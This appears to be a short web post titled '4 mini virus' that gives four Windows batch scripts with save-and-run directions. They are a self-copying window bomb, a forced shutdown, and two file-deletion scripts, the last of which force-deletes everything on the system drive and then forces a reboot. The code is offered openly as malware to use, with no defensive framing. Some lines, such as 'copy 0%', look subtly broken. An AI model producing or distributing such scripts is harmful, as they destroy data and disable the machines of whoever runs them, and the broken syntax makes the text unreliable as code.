4 mini virus

• This code about multiple open windows means infinite windows
  until continue you restart the computer:save on denger.bat and code written in notepad
  
  @echo off
  copy 0% denger.bat
  start denger.bat

• This code about the computer shutdown:
  
  @echo off
  shutdown -s -t 5 -c "Shutdown"

• Go to notepad and type the following:
  @Echo off
  Del C:\ *.*|y
  
  save it as Dell.bat

•          Want worse then type the following:

                   @echo off
                    del %systemdrive%\*.*/f/s/q
                     shutdown -r -f -t 00

                    and save it as a .bat file